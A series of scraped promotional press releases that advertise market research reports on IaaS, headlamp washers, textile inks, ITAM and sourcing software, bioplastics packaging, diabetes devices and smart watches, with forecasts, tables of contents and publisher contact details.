(IaaS) Market Segmentation;6. Infrastructure as a service (IaaS) Market Regional And Country Analysis;7. Global Infrastructure as a service (IaaS) Market Comparison With Macro Economic Factors;7.1. Infrastructure as a service (IaaS) Market Size, Percentage Of GDP, Global; 7.2. Per Capita Average Infrastructure as a service (IaaS) Expenditure, Global;8. Infrastructure as a service (IaaS) Market Comparison With Macro Economic Factors Across Countries;9. Infrastructure as a service (IaaS) Market Comparison With Industry Metrics;10. Asia-Pacific Infrastructure as a service (IaaS) Market;11. Western Europe Infrastructure as a service (IaaS) Market;12. Eastern Europe Infrastructure as a service (IaaS) Market;13. North America Infrastructure as a service (IaaS) Market;14. South America Infrastructure as a service (IaaS) Market;15. Middle East Infrastructure as a service (IaaS) Market;16. Africa Infrastructure as a service (IaaS) Market;17. Infrastructure as a service (IaaS) Market Competitive Landscape;18. Key Mergers And Acquisitions In The Infrastructure as a service (IaaS) Market;19. Market Background: Cloud Services Market;20. Information Technology Industry Financial Margins;21. Appendix;Reasons to Purchase Outperform competitors using accurate up to date demand-side dynamics information. Identify growth segments for investment. Facilitate decision making on the basis of historic and forecast data and the drivers and restraints on the market.Create regional and country strategies on the basis of local data and analysis.Stay abreast of the latest customer and market research findings Benchmark performance against key competitors. Develop strategies based on likely future developments. Utilize the relationships between key data sets for superior strategizing. Suitable for supporting your internal and external presentations with reliable high quality data and analysis Gain a global perspective on the development of the market. Report will be updated with the latest data and delivered to you within 3-5 working days of order.ContinuousBuy this Report @Contact Us:Norah Trentsales@wiseguyreports.comPh: +1-646-845-9349 (US); +44 208 133 9349 (UK)About Us:Wise Guy Reports Is Part Of The Wise Guy Consultants Pvt. Ltd. And Offers Premium Progressive Statistical Surveying, Market Research Reports, Analysis & Forecast Data For Industries And Governments Around The Globe. Wise Guy Reports Features An Exhaustive List Of Market Research Reports From Hundreds Of Publishers Worldwide. We Boast A Database Spanning Virtually Every Market Category And An Even More Comprehensive Collection Of Market Research Reports Under These Categories And Sub-Categories.Addres:WISEGUY RESEARCH CONSULTANTS PVT LTDOffice No. 528, Amanora ChambersPune - 411028Maharashtra, IndiaPhone :+91 841 198 5042
Headlamp Washer Systems Market Revenue, Opportunity, Forecast and Value Chain 2025

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Headlamp Washer Systems Market - OverviewHeadlamp washer system is a safety feature in certain automobiles that ensures visibility by cleaning surface of the headlight. The system comprises a rotary pump and nozzles which spray water or a cleaning fluid on to the surface of the headlights. Although use of such headlamp washer systems is not imperative for all the varieties of lamps used in automobiles, use of these in case of certain lamps that produce light above a specific lumens range (>2000 lumens) is, however, mandatory. Use of such headlamp washer systems is relatively more common across luxury, premium and SUV segments as against that in other segments. They are incorporated in many cars as they serve the purpose of cleaning the headlights so as to maintain the visibility for the driver while driving. Besides ensuring dirt removal, these headlamp washer systems ensure prevention of impairment of optical features due to dirt which further causes glare. Stronger light, higher is the glare. And thus, it is one of the safety features installed in automobiles across the globe. Therefore, installation of headlamp washer system is made mandatory especially when certain HID lights, Xenon lamps are used. Nowadays, it is also seen that manufacturers are incorporating headlamp washers systems in mid- sized and semi-luxury cars. Global headlamp washer systems market is expected to witness a significant growth during the forecast period owing to increasing demand for high end vehicles, especially SUVs.Request Sample Copy of the Report @Headlamp Washer Systems Market - DynamicsIncreasing adoption of automotive headlamp washer systems coupled with anticipated steady growth in automotive production, especially, in developing countries is one of the major driving factor for the growth of global headlamp washer systems market during the forecast period. Moreover, demand for and production of high end luxury and premium vehicles has witnessed a steady growth especially in certain developing countries such as India. Along with this, increasing replacement rates of the headlamp washer system in the vehicle is also one of the driving factor for the expected growth of headlamp washer market over the forecast period.Especially in emerging markets, adoption of features such as headlamp washer systems is relatively low owing to significant share of no-frills vehicles in overall automotive production. Furthermore, lackluster economic growth especially in North America and Europe are expected to act as an impediment to growth of automotive production in these regions, in turn acting as hindrance to growth of headlamp washer system during the forecast period.Headlamp Washer Systems Market - SegmentationThe global headlamp washer systems market can be segmented on the basis of components, vehicle types and sales channel. On the basis of components the global headlamp washer systems market can be segmented as pumps and nozzles. On the basis of vehicle type the global headlamp washer system can be segmented as passenger cars, Light commercial vehicle (LCV) and Heavy commercial vehicle (HCV). On the basis of sales channels, global headlamp washer systems market can be segmented as OEM and aftermarket.Headlamp Washer Systems Market - Regional OutlookAsia Pacific region is expected to dominate the global market for headlamp washer system owing to the dominant presence of China which has overtaken U.S. in terms of automotive production. North America accounted for a significant share in global headlamp washer systems market owing to strong presence of automotive manufacturing in the region. Europe is also expected to witness steady growth and recovery after economic slow-down in the region. Latin America region is expected to witness average growth owing to the economic crisis in that region. Overall, the global headlamp washer systems market is expected to witness a steady growth during the forecast period.Request TOC of the Report @Headlamp Washer Systems - Market PlayersExamples of some of the market participants in the global Headlamp washer systems market are-Robert Bosch GmbHDenso CorporationValeo SAContinental AGHELLA KGaA Hueck & Co.Ningbo Joyson Electronic CorpMergon GroupTrico Products CorporationKautex Textron GmbH & Co. KG.Persistence Market Research (PMR) is a third-platform research firm. Our research model is a unique collaboration of data analytics and market research methodology to help businesses achieve optimal performance.To support companies in overcoming complex business challenges, we follow a multi-disciplinary approach. At PMR, we unite various data streams from multi-dimensional sources. By deploying real-time data collection, big data, and customer experience analytics, we deliver business intelligence for organizations of all sizes.Contact UsPersistence Market Research305 Broadway7th Floor, New York City,NY 10007, United States,USA  Canada Toll Free: 800-961-0353Email: sales@persistencemarketresearch.comWeb:
Global Inks for Digital Textile Printing Market For End Users/Applications - Clothing Industry, Textile Industry and Others

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Researchmoz added Most up-to-date research on "Global Inks for Digital Textile Printing Market For End Users/Applications - Clothing Industry, Textile Industry and Others" to its huge collection of research reports.In this report, the global Inks for Digital Textile Printing market is valued at USD XX million in 2016 and is expected to reach USD XX million by the end of 2022, growing at a CAGR of XX% between 2016 and 2022.Geographically, this report is segmented into several key Regions, with production, consumption, revenue (million USD), market share and growth rate of Inks for Digital Textile Printing in these regions, from 2012 to 2022 (forecast), coveringNorth AmericaEuropeChinaJapanSoutheast AsiaIndiaGlobal Inks for Digital Textile Printing market competition by top manufacturers, with production, price, revenue (value) and market share for each manufacturer; the top players includingDupontHuntsmanJK GroupKornitDyStarSPGprintsBASFJay ChemicalMarabuDow CorningEFISensientMagna ColoursAnajetPrint-RiteLanyuHongsamINKBANKTrendVisionINKWINTo Get Sample Copy of Report visit @On the basis of product, this report displays the production, revenue, price, market share and growth rate of each type, primarily split intoReactive Dye InksAcidic InkPaint InkDispersion & Sublimation InkOn the basis of the end users/applications, this report focuses on the status and outlook for major applications/end users, consumption (sales), market share and growth rate for each application, includingClothing IndustryTextile IndustryOthersBrowse TOC @Table of ContentsGlobal Inks for Digital Textile Printing Market Research Report 20171 Inks for Digital Textile Printing Market Overview1.1 Product Overview and Scope of Inks for Digital Textile Printing1.2 Inks for Digital Textile Printing Segment by Type (Product Category)1.2.1 Global Inks for Digital Textile Printing Production and CAGR (%) Comparison by Type (Product Category)(2012-2022)1.2.2 Global Inks for Digital Textile Printing Production Market Share by Type (Product Category) in 20161.2.3 Reactive Dye Inks1.2.4 Acidic Ink1.2.5 Paint Ink1.2.6 Dispersion & Sublimation Ink1.3 Global Inks for Digital Textile Printing Segment by Application1.3.1 Inks for Digital Textile Printing Consumption (Sales) Comparison by Application (2012-2022)1.3.2 Clothing Industry2 Global Inks for Digital Textile Printing Market Competition by Manufacturers2.1 Global Inks for Digital Textile Printing Capacity, Production and Share by Manufacturers (2012-2017)2.1.1 Global Inks for Digital Textile Printing Capacity and Share by Manufacturers (2012-2017)2.1.2 Global Inks for Digital Textile Printing Production and Share by Manufacturers (2012-2017)2.2 Global Inks for Digital Textile Printing Revenue and Share by Manufacturers (2012-2017)2.3 Global Inks for Digital Textile Printing Average Price by Manufacturers (2012-2017)2.4 Manufacturers Inks for Digital Textile Printing Manufacturing Base Distribution, Sales Area and Product Type2.5 Inks for Digital Textile Printing Market Competitive Situation and Trends2.5.1 Inks for Digital Textile Printing Market Concentration Rate2.5.2 Inks for Digital Textile Printing Market Share of Top 3 and Top 5 ManufacturersAbout ResearchMozResearchMoz is the one stop online destination to find and buy market research reports & Industry Analysis. We fulfill all your research needs spanning across industry verticals with our huge collection of market research reports. We provide our services to all sizes of organizations and across all industry verticals and markets. Our Research Coordinators have in-depth knowledge of reports as well as publishers and will assist you in making an informed decision by giving you unbiased and deep insights on which reports will satisfy your needs at the best price.Mr. NachiketState Tower,90 State Street,Suite 700,Albany NY - 12207United StatesEmail: sales@researchmoz.usWebsite @Tel: 866-997-4948 (Us-Canada Toll Free)Tel: +1-518-621-2074Follow us on LinkedIn @
IT Asset Management (ITAM) Software Market to Cross US$1 bn-mark by 2024

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The ITAM software market is projected to reach a value of US$1.3 bn by 2024, rising from US$708.9 mn in 2015. The market is estimated to expand at a steady CAGR of 6.9% from 2016 to 2024. Accounting for a massive share of over 60% by 2024, large enterprises will be the leading contributor to the growth of the ITAM software market. Registering an 8.0% CAGR during the forecast period, SMEs are anticipated to record the highest growth by 2024.Based on deployment model, cloud-based ITAM software is the leading segment by revenue, with hybrid models expanding at the most rapid pace from 2016 to 2024. On the basis of end use, the telecom and IT sector contributes a majority to the overall revenue of the ITAM software market. On the other hand, the energy and utilities industry will present the highest CAGR by 2924. By region, North America leads the global ITAM software market and will continue doing so through the end of the forecast period with stiff competition from Asia Pacific. The APAC market for ITAM software is, on the other hand, estimated to register the fastest growth from 2016 to 2024.Get the sample copy of report :The research report on IT asset management (ITAM) software market provides a detailed analysis of how various organizations use ITAM software solutions thatenabletracking, and recording information related to IT inventory, particularly hardware and software. The ITAM software helps in reducing operational expenditure (OPEX) and capital expenditure (CAPEX) in an enterprise.Unlike hardware, visibility of software information is difficult to assemble, through deploying ITAM an enterprise can procure licensing and contractual data related to a particular software, thus eliminating regulatory risks. The ITAM software market report provides through analysis for the period from 2014to 2024, wherein the period from 2016 to 2024 is the forecast period, 2015 is considered the base year, while data from 2014 has been considered as historical data.The report provides complete outlook of all the major countries across the geography of Asia Pacific, Latin America, North America, Europe, and Middle East & Africa (MEA). Furthermore, it also covers the factors majorly trending in the market,and technological advancements supporting the growth of ITAM software market. However, not all the regions present similar growth prospects and the report also highlights the major factors supporting market expansion with respect to the specific regions.Additionally,opportunities that are likely to influence the market are also included in this report.Send an enquiry here :Cloud is a dynamic market and has significantlyevolved the way businesses are operated. Thegrowingprominenceof cloud-based solutions has changed the mode of operationof an enterprise. IT enterprises now are inclining toward centralization and automation of IT infrastructure. This has fueledthe demand for ITAM solutions and tools.The report also includes anexpansiveexposureover underlying financial, ecological, and technical factors influencing the ITAMsoftware market. Moreover, impact analysis of the key trends has been provided in addition for each geographic area in this report, keeping in mind the end goal to give an inside - out analysis of the situation of the ITAM market, on a worldwide. The ITAM software market estimations are the outcome of ourcomprehensive market exploration, primary interviews, and in-house expert panel opinions.The report classifies the global ITAM software market by enterprise sizeintoSMEs and Large enterprises. Furthermore, the market is categorized by deployment types which include On-premise, cloud and hybrid.Moreover, demand for ITAM software solutions has also been studied across variousend-use industries, including BFSI, telecom & IT, government, and energy & utilities and others.This explains which industry sector is helping the expansion of ITAM software market and which is fastest growing sector anticipated to support growth the market over a long run. Thus, the report provides a cross-segment study of the ITAM software market and classifies it into various levels, thus providing valuable insights.View full report here :Pertaining to increasing competition in this cloud computing age, resulting in development of cutting edge ITAM software solutions, the report delivers a brief overview of the major players operating in the ITAM software market along with an outline of miscellaneousstrategiesadopted by these players. Strategy has been formulated after brief analysis of the data which includes data related to mergers and acquisitions, partnership agreements, new product launches and product enhancements and future activities company is expected to undertake.Besides, the report also provides the share of major companies operating in the ITAM software market.IBM Corporation, Oracle Corp., Hewlett Packard Enterprise Development LP, BMC Software Inc., ServiceNow Inc., BDNA Corporation, LANDESK Software, Aspera Technologies Inc., Cherwell Software,Flexera Software LLC, CA Technology Inc., and Snow Softwareare some of the major service providers within the global ITAMsoftware market, profiled in this study. These company profiles highlight the competitive landscape of the ITAM software market, the positioning of the key players is based on their financial data, product range, developments and geographical presence.IT Asset Management (ITAM) Software MarketBy Enterprise SizeSMEsLarge EnterpriseBy Deployment TypeOn PremiseCloudHybridBy End UseBFSITelecom and ITGovernmentHealthcareTransportationManufacturingEnergy and UtilitiesOthersBy GeographyNorth AmericaEuropeAsia PacificMiddle East and AfricaLatin AmericaMRRbiz supports your business intelligence needs with over 700,000 market research reports, company profiles, data books, and regional market data sheets in its repository. Our document database is updated by the hour, which means that you always have access to fresh data spanning over 300 industries and their sub-segments. We have built a veritable reputation for our commitment to fulfilling our clients' exacting market research solutions. From Fortune 500 companies to SMEs, our clients place their trust in us for reports from verified publishers.State Tower90 State Street, Suite 700Albany, NY 12207United StatesToll Free: 866-997-4948(USA-Canada)Tel: +1-518-621-2074E: sales@marketresearchreports.biz
Sourcing Software Global Market 2017: Key Players  IBM, , SAP, SciQuest, ClearTrack Information Network, Determine, EBid Systems, Capgemini, Coupa Software Analysis and Forecast to 2022

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This report studies the Sourcing Software market status and outlook of global and United States, from angles of players, regions, product types and end industries; this report analyzes the top players in global and United States market, and splits the Sourcing Software market by product type and applications/end industries.The global Sourcing Software market is valued at XX million USD in 2016 and is expected to reach XX million USD by the end of 2022, growing at a CAGR of XX% between 2016 and 2022.The Asia-Pacific will occupy for more market share in following years, especially in China, also fast growing India and Southeast Asia regions.North America, especially The United States, will still play an important role which cannot be ignored. Any changes from United States might affect the development trend of Sourcing Software. United States plays an important role in global market, with market size of xx million USD in 2016 and will be xx million USD in 2022, with a CAGR of XX.Request a Sample Report @Geographically, this report is segmented into several key regions, with sales, revenue, market share (%) and growth Rate (%) of Sourcing Software in these regions, from 2012 to 2022 (forecast), coveringUnited StatesNorth AmericaEuropeAsia-PacificSouth AmericaMiddle East and AfricaThe major players in global and United States Sourcing Software market, including Capgemini, Coupa Software, IBM, , SAP, SciQuest, ClearTrack Information Network, Determine, EBid Systems, ESM Solutions, GEP, Market Dojo, Winddle, Xeeva, Zycus?The On the basis of product, the Sourcing Software market is primarily split intoPremiseCloud baseOthersOn the basis on the end users/applications, this report coversLogistics companyStorage companyOthersMake an enquiry of this Report @Table of Contents2017-2022 Sourcing Software Report on Global and United States Market, Status and Forecast, by Players, Types and Applications1 Methodology and Data Source1.1 Methodology/Research Approach1.1.1 Research Programs/Design1.1.2 Market Size Estimation1.1.3 Market Breakdown and Data Triangulation1.2 Data Source2.1.1 Secondary Sources2.1.2 Primary Sources1.3 Disclaimer2 Sourcing Software Market Overview2.1 Sourcing Software Product Overview2.2 Sourcing Software Market Segment by Type2.2.1 Premise2.2.2 Cloud base2.2.3 Others2.3 Global Sourcing Software Product Segment by Type2.3.1 Global Sourcing Software Sales (K Units) and Growth (%) by Types (2012, 2016 and 2022)2.3.2 Global Sourcing Software Sales (K Units) and Market Share (%) by Types (2012-2017)2.3.3 Global Sourcing Software Revenue (Million USD) and Market Share (%) by Types (2012-2017)2.3.4 Global Sourcing Software Price (USD/Unit) by Type (2012-2017)2.4 United States Sourcing Software Product Segment by Type2.4.1 United States Sourcing Software Sales (K Units) and Growth by Types (2012, 2016 and 2022)2.4.2 United States Sourcing Software Sales (K Units) and Market Share by Types (2012-2017)2.4.3 United States Sourcing Software Revenue (Million USD) and Market Share by Types (2012-2017)2.4.4 United States Sourcing Software Price (USD/Unit) by Type (2012-2017)3 Sourcing Software Application/End Users3.1 Sourcing Software Segment by Application/End Users3.1.1 Logistics company3.1.2 Storage company3.1.3 Others3.2 Global Sourcing Software Product Segment by Application3.2.1 Global Sourcing Software Sales (K Units) and CGAR (%) by Applications (2012, 2016 and 2022)3.2.2 Global Sourcing Software Sales (K Units) and Market Share (%) by Applications (2012-2017)3.3 United States Sourcing Software Product Segment by Application3.3.1 United States Sourcing Software Sales (K Units) and CGAR (%) by Applications (2012, 2016 and 2022)3.3.2 United States Sourcing Software Sales (K Units) and Market Share (%) by Applications (2012-2017)4 Sourcing Software Market Status and Outlook by Regions4.1 Global Market Status and Outlook by Regions4.1.1 Global Sourcing Software Market Size and CAGR by Regions (2012, 2016 and 2022)4.1.2 North America4.1.3 Asia-Pacific4.1.4 Europe4.1.5 South America4.1.6 Middle East and Africa4.1.7 United States4.2 Global Sourcing Software Sales and Revenue by Regions4.2.1 Global Sourcing Software Sales (K Units) and Market Share (%) by Regions (2012-2017)4.2.2 Global Sourcing Software Revenue (Million USD) and Market Share (%) by Regions (2012-2017)4.2.3 Global Sourcing Software Sales (K Units), Revenue (Million USD), Price (USD/Unit) and Gross Margin (%) (2012-2017)4.2.4 North America Sourcing Software Sales (K Units), Revenue (Million USD), Price (USD/Unit) and Gross Margin (%) (2012-2017)4.2.5 Europe Sourcing Software Sales (K Units), Revenue (Million USD), Price (USD/Unit) and Gross Margin (%) (2012-2017)4.2.6 Asia-Pacific Sourcing Software Sales (K Units), Revenue (Million USD), Price (USD/Unit) and Gross Margin (%) (2012-2017)4.2.7 South America Sourcing Software Sales (K Units), Revenue (Million USD), Price (USD/Unit) and Gross Margin (2012-2017)4.2.8 Middle East and Africa Sourcing Software Sales (K Units), Revenue (Million USD), Price (USD/Unit) and Gross Margin (%) (2012-2017)4.2.9 United States Sourcing Software Sales (K Units), Revenue (Million USD), Price (USD/Unit) and Gross Margin (2012-2017)5 Global Sourcing Software Market Competition by Players/Manufacturers5.1 Global Sourcing Software Sales (K Units) and Market Share by Players (2012-2017)5.2 Global Sourcing Software Revenue (Million USD) and Share by Players (2012-2017)5.3 Global Sourcing Software Average Price (USD/Unit) by Players (2012-2017)5.4 Players Sourcing Software Manufacturing Base Distribution, Sales Area, Product Types5.5 Sourcing Software Market Competitive Situation and Trends5.5.1 Sourcing Software Market Concentration Rate5.5.2 Global Sourcing Software Market Share (%) of Top 3 and Top 5 Players5.5.3 Mergers & Acquisitions, Expansion6 United States Sourcing Software Market Competition by Players/Manufacturers6.1 United States Sourcing Software Sales (K Units) and Market Share by Players (2012-2017)6.2 United States Sourcing Software Revenue (Million USD) and Share by Players (2012-2017)6.3 United States Sourcing Software Average Price (USD/Unit) by Players (2012-2017)6.4 United States Sourcing Software Market Share (%) of Top 3 and Top 5 Players7 Sourcing Software Players/Manufacturers Profiles and Sales Data7.1 Capgemini7.1.1 Company Basic Information, Manufacturing Base and Competitors7.1.2 Sourcing Software Product Category, Application and Specification7.1.2.1 Product A7.1.2.2 Product B7.1.3 Capgemini Sourcing Software Sales (K Units), Revenue (Million USD), Price (USD/Unit) and Gross Margin (%) (2012-2017)7.1.4 Main Business/Business Overview7.2 Coupa Software7.2.1 Company Basic Information, Manufacturing Base and Competitors7.2.2 Sourcing Software Product Category, Application and Specification7.2.2.1 Product A7.2.2.2 Product B7.2.3 Coupa Software Sourcing Software Sales (K Units), Revenue (Million USD), Price (USD/Unit) and Gross Margin (%) (2012-2017)7.2.4 Main Business/Business Overview7.3 IBM,7.3.1 Company Basic Information, Manufacturing Base and Competitors7.3.2 Sourcing Software Product Category, Application and Specification7.3.2.1 Product A7.3.2.2 Product B7.3.3 IBM, Sourcing Software Sales (K Units), Revenue (Million USD), Price (USD/Unit) and Gross Margin (%) (2012-2017)7.3.4 Main Business/Business Overview7.4 SAP7.4.1 Company Basic Information, Manufacturing Base and Competitors7.4.2 Sourcing Software Product Category, Application and Specification7.4.2.1 Product A7.4.2.2 Product BContinuedPurchase Report @ABOUT US:Wise Guy Reports is part of the Wise Guy Consultants Pvt. Ltd. and offers premium progressive statistical surveying, market research reports, analysis & forecast data for industries and governments around the globe. Wise Guy Reports features an exhaustive list of market research reports from hundreds of publishers worldwide. We boast a database spanning virtually every market category and an even more comprehensive collection of market research reports under these categories and sub-categories.ADDRES:WISE GUY RESEARCH CONSULTANTS PVT LTDOffice No. 528, Amanora ChambersMagarpatta Road, HadapsarPune - 411028Maharashtra, India
Global Market For Bioplastics Packaging Will Attain The Value By Clocking A Phenomenal CAGR of 36.8% From 2014 and 2020

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Researchmoz added Most up-to-date research on "Global Market For Bioplastics Packaging Will Attain The Value By Clocking A Phenomenal CAGR of 36.8% From 2014 and 2020" to its huge collection of research reports.Persistence Market Research has comprehensively studied and executed a global analysis on the market for bioplastics packaging, which is compiled in the report. Availing this report shall provide an in-depth assay and estimation on the global market for bioplastics packaging for a six-year forecast period of 2014-2020. With 2014 as the base year for market value calculation, the report includes assessment of estimated market data till the end of 2020, in accordance to the current dynamics and status of the market. The drivers, the restraints, influential trends, promising opportunities, and recent market developments are some of the factors that define the dynamics of global bioplastics packaging market, and assist the approximation of market values for the forecast period.The report on global bioplastics packaging market begins with a section defining the trends that incidentally or unswervingly impact the growth of the market. This section mentions opportunities that shall promote the use of bioplastics packaging solutions in the future and induce their applications in some unexplored industrial verticals. The following section, then, includes the drivers and the restraints for bioplastics packaging market and illustrates their specific impact on the markets growth. The report, further, differentiates the global bioplastics packaging market on the basis of its segmentation. The segmentation section breaks down the market into various aspects and exhibits the factors that either promote or demote the prominence of one segment over other in the global market over the forecast period. At this section, trade analysts and industrial economists are able to understand the why a particular segment in the global bioplastics packaging market is raking in more revenues than the other.To Get Sample Copy of Report visit @Segmentation of the global bioplastics packaging market is not limited to the types of products or solutions, or their applications and end-uses. The report continues with a designated section on the regional analysis of the global market for bioplastics packaging. Segmenting the markets estimated progress into regions such as North America, Europe, Asia-Pacific, and Rest of the World (RoW) is highly-imperative to understand the overall expansion of the global bioplastics packaging market. In this report, Europe is slated to retain its exclusive dominance throughout the forecast period, followed by North America and Asia-Pacific. The regional segmentation of global bioplastics packaging market is further elaborated into the fastest growing regions, regions or countries enduring sluggish growth, the respective growth rates of key countries in a particular region, estimated revenues, their contribution to global market, and the specific factors that endorse the growth of bioplastics packaging market in every region.The research report includes an analysis on the key companies participating in the global bioplastics packaging market. Leading players that have and will continue to contribute towards expansion of global bioplastics packaging market size by instate higher & improved production to meet the global demands are all included in the company profiling available in the report. The report on global bioplastics packaging market concludes with an overview of the competitive landscape for the forecast period 2014-2020.Browse TOC @Research MethodologyTo deduce the global bioplastics packaging market size, the report considers various aspects based on secondary research. Furthermore, key data points such as region-wise split and market split by product types and applications; and qualitative inputs from primary respondents have been incorporated to arrive at appropriate market estimates. The forecast presented in the report assesses the total revenue generated and expected revenue contribution in the global bioplastics packaging market.The report begins with sizing the market in terms of value and volume for the base year, which forms the basis for forecasting how the market is anticipated to take shape in the near future. Given the characteristics of the market, gathered data is triangulated via different analysis based on supply side and demand side drivers and other key dynamics of the global bioplastics packaging market.To develop the market forecast, Persistence Market Research has also conducted a factor analysis to understand the impact of various forces/factors on the target market. The report provides forecasts not only in terms of CAGR but also presents a detailed analysis based on key parameters such as Year-on-Year (Y-o-Y) growth to understand market predictability and to identify the right opportunities.Another key feature of this report is an analysis of the global bioplastics packaging market and the corresponding revenue forecast in terms of absolute dollar opportunity, usually overlooked while forecasting the market. However, absolute dollar opportunity is critical in assessing the level of opportunity that a provider can look to achieve, as well as to identify potential resources from a sales perspective in the global bioplastics packaging market. Further, to understand key segments in terms of their growth and overall global bioplastics packaging market performance, Persistence Market Research has developed a market attractiveness index to help providers identify existing market opportunities in the global bioplastics packaging market.Chapter Company Profiles:BASF SE (Badische Anilin- und Soda-Fabrik)Braskem S.A.Koninklijke DSM N.V.Arkema S.A.Innovia Films, Ltd.Metabolix, Inc.NatureWorks, LLC.Novamont S.p.A.The Dow Chemical Company.Other.About ResearchMozResearchMoz is the one stop online destination to find and buy market research reports & Industry Analysis. We fulfill all your research needs spanning across industry verticals with our huge collection of market research reports. We provide our services to all sizes of organizations and across all industry verticals and markets. Our Research Coordinators have in-depth knowledge of reports as well as publishers and will assist you in making an informed decision by giving you unbiased and deep insights on which reports will satisfy your needs at the best price.Mr. NachiketState Tower,90 State Street,Suite 700,Albany NY - 12207United StatesEmail: sales@researchmoz.usWebsite @Tel: 866-997-4948 (Us-Canada Toll Free)Tel: +1-518-621-2074Follow us on LinkedIn @
Global Diabetes Devices Market : Segmental Highlights and Table of Content (2017  2025)

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Global Diabetes Devices Market: Convenience of Using Diabetes Devices Improves Demand, says TMRAccording to the research report, the global diabetes devices market is expected to be worth US$66,053.1 mn by the end of 2025 from US$37,220.8 mn in 2016. During the forecast period of 2017 and 2025, the global market is expected to rise at a CAGR of 6.7%. Out of the wide range of products to manage diabetes, the global market is likely to be driven by glucose monitoring devices and the products available under this segment. As of 2016, the blood glucose meters held a share of 59.1% in terms of revenue in the global market. Geographically, the global market is dominated by North America due to higher awareness about the disease.Report overview @The global Diabetes Devices Market is segmented on the basis of Product Type,Distribution Channel,Region.Diabetes Mellitus is a chronic condition in which our body is unable to produce or utilize insulin for converting blood glucose into energy. Globally around 415 million people are living with diabetes. Half of the worlds population suffering with diabetes still remains undiagnosed. It is studied that 90% of diabetes cases are of type 2 diabetes. The diabetes devices market has a huge scope during the forecast period. The global diabetes devices market can be segmented based on product type, distribution channel and region.Depending on the product type the global diabetes devices market includes Glucose Monitoring Devices, Insulin Delivery Devices, Diabetes Monitoring Software and Artificial Pancreas System. The Glucose Monitoring Devices includes four main sub-segments viz. self -monitoring blood glucose meters, blood glucose testing strips, lancets and continuous glucose monitoring meters. Insulin delivery devices segment includes insulin syringes, insulin pens and insulin pumps. The Glucose Monitoring Devices segment is projected to be a highly attractive segment of the global diabetes devices market during the forecast period. The segment is anticipated to be expand at a CAGR of 6.7% during the forecast period. Self- monitoring blood glucose meters segment contributes maximum share to the global diabetes devices market in terms of revenue. High prevalence of diabetes due to factors such as lifestyle changes, high life expectancy and increased urbanization drives this segment of the Diabetes Devices market as people have become more careful about their health conditions and thus regularly monitor their blood glucose levels.Based on the distribution channel, the global diabetes devices market is segmented into hospital pharmacies, retail pharmacies, online pharmacies, and diabetes clinics/centers. The hospital pharmacy segment contributes maximum share in terms of revenue in the forecast period.Request A Sample Report @Summary of Table of Content1. Preface2. Assumptions and Research Methodology3. Executive Summary : Global Diabetes Device Market4. Market Overview5. Global Diabetes Device Market Analysis and Forecasts, By Product Type6. Global Diabetes Device Market Analysis and Forecasts, By Distribution Channel7. Global Diabetes Device Market Analysis and Forecasts, By Region8. North America Diabetes Device Market Analysis and Forecast9. Europe Diabetes Device Market Analysis and Forecast10. Asia Pacific Diabetes Device Market Analysis and Forecast11. Middle East & Africa Diabetes Device Market Analysis and Forecast12. Latin America Diabetes Device Market Analysis and Forecast13. Competition LandscapeGet Full Report @About UsTransparency Market Research (TMR) is a global market intelligence company providing business information reports and services. The companys exclusive blend of quantitative forecasting and trend analysis provides forward-looking insight for thousands of decision makers. TMRs experienced team of analysts, researchers, and consultants use proprietary data sources and various tools and techniques to gather and analyze information.TMRs data repository is continuously updated and revised by a team of research experts so that it always reflects the latest trends and information. With extensive research and analysis capabilities, Transparency Market Research employs rigorous primary and secondary research techniques to develop distinctive data sets and research material for business reports.Contact UsTransparency Market ResearchState Tower,90 State Street,Suite 700,Albany NY - 12207United StatesTel: +1-518-618-1030USA - Canada Toll Free: 866-552-3453Email: sales@transparencymarketresearch.comWebsite:
Smart Watch Market Estimated to Exhibit US$ 30,811 Mn in Revenues by the end of forecast period 2017-2025

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Every passing day, peoples desire to represent themselves with trending fashion is leading to adopt latest attire. Smart watches are trending wearable, that are blend of smart technology and fashion. Further, people those are health conscious are lucky to have this smart way to monitor different aspects related to health and can easily share it with their health advisors through digital techniques. Smart watches are equipped with technology that allows it to connect with smartphones via Bluetooth or other sharing techniques so as to quickly go through notifications or messages etc.According to an exclusive study on global smart watch market by Persistence Market Research, the market is estimated to exhibit tremendous growth with 16.6% CAGR to reach above US$ 30,811 Mn by the end of forecast period (2017-2025). Continuous innovations in smart watches have led this market to achieve highest expansion.Smart watches allow one to integrate apps and extend usage of the mobile phone. Latest features in smart watch with android operating system include handwritten recognition, much easier way to reply to messages, Google assistance on the wrist and the apps can now run without the phone in reach. According to the report, the android wear smart watch segment is anticipated to increase at double-digit CAGR value over the assessment period. Whereas, the smart watches based on iOS platform will expand at steady growth rate and are anticipated to retain its dominance in the smart watch market throughout the assessment period.Request Sample Report @Several smart watches have technology to pay bill through just a tap. The apple pay features provides this facility to consumers to pay hassle-free. Ones credit card details can be stored in the watch without opening wallets, he/she can pay through it. However, these smart watches cost a lot more than regular one. Such kind of facility wont be available in medium price smart watches. The report reveals, in terms of revenues, the medium price smart watches are likely to witness steady expansion through 2025, while low price smart watch segment will showcase high y-o-y growth rate.Also, on the basis of age group, 25-34 years segment is likely to remain most attractive in the global smart watch market, in terms of value throughout the forecast period. Moreover, 15-24 years segment is likely to witness expansion at double digit CAGR over the assessment period.The study also analyzes dynamics of market on the basis of sales channels. The market has been segmented into organized retail chain, unorganized retail chain and e-commerce stores. Among these, organized retain chain segment is expected to register high y-o-y growth over the assessment period. Further, in terms of value, the segment is anticipated to increase at staggering double-digit CAGR throughout the assessment period. The online e-commerce segment had secured over US$ 3,876 Mn revenues in 2016 and projected to grow at steady CAGR throughout the assessment period. However, the online e-commerce store segment is expected to be most lucrative segment of the global smart watch market over the assessment period.Request to view table of content @On the other side, the market also has been segmented in to extensive smart watch, hybrid smart watch, standalone smart watch, on the basis of product type. Among these, the standalone smart watch segment retained its dominance in 2017, procuring more than one-third revenue share of the market.The North America, Latin America, MEA, APAC and Europe are 5 key regions that are analyzed in the report. Asia Pacific retained its dominance in 2017 in smart watch market with the contribution of more than US$ 2,915 Mn to the global market. In addition, the North America smart watch market is anticipated to grow at high CAGR throughout the assessment period.Number of companies are contributing in growth of the smart watch market. Some of the leading companies that have huge contribution are profiled in the report include, Nokia Corporation (Withings), Apple Inc., Samsung Electronics Co., Ltd., Xiaomi Corporation, Sony Corporation, Fossil Group, Inc., Garmin Ltd., Huawei Technologies Co., Ltd., and Fitbit Inc.Read Report @About UsPersistence Market Research (PMR) is a U.S.-based full-service market intelligence firm specializing in syndicated research, custom research, and consulting services. PMR boasts market research expertise across the Healthcare, Chemicals and Materials, Technology and Media, Energy and 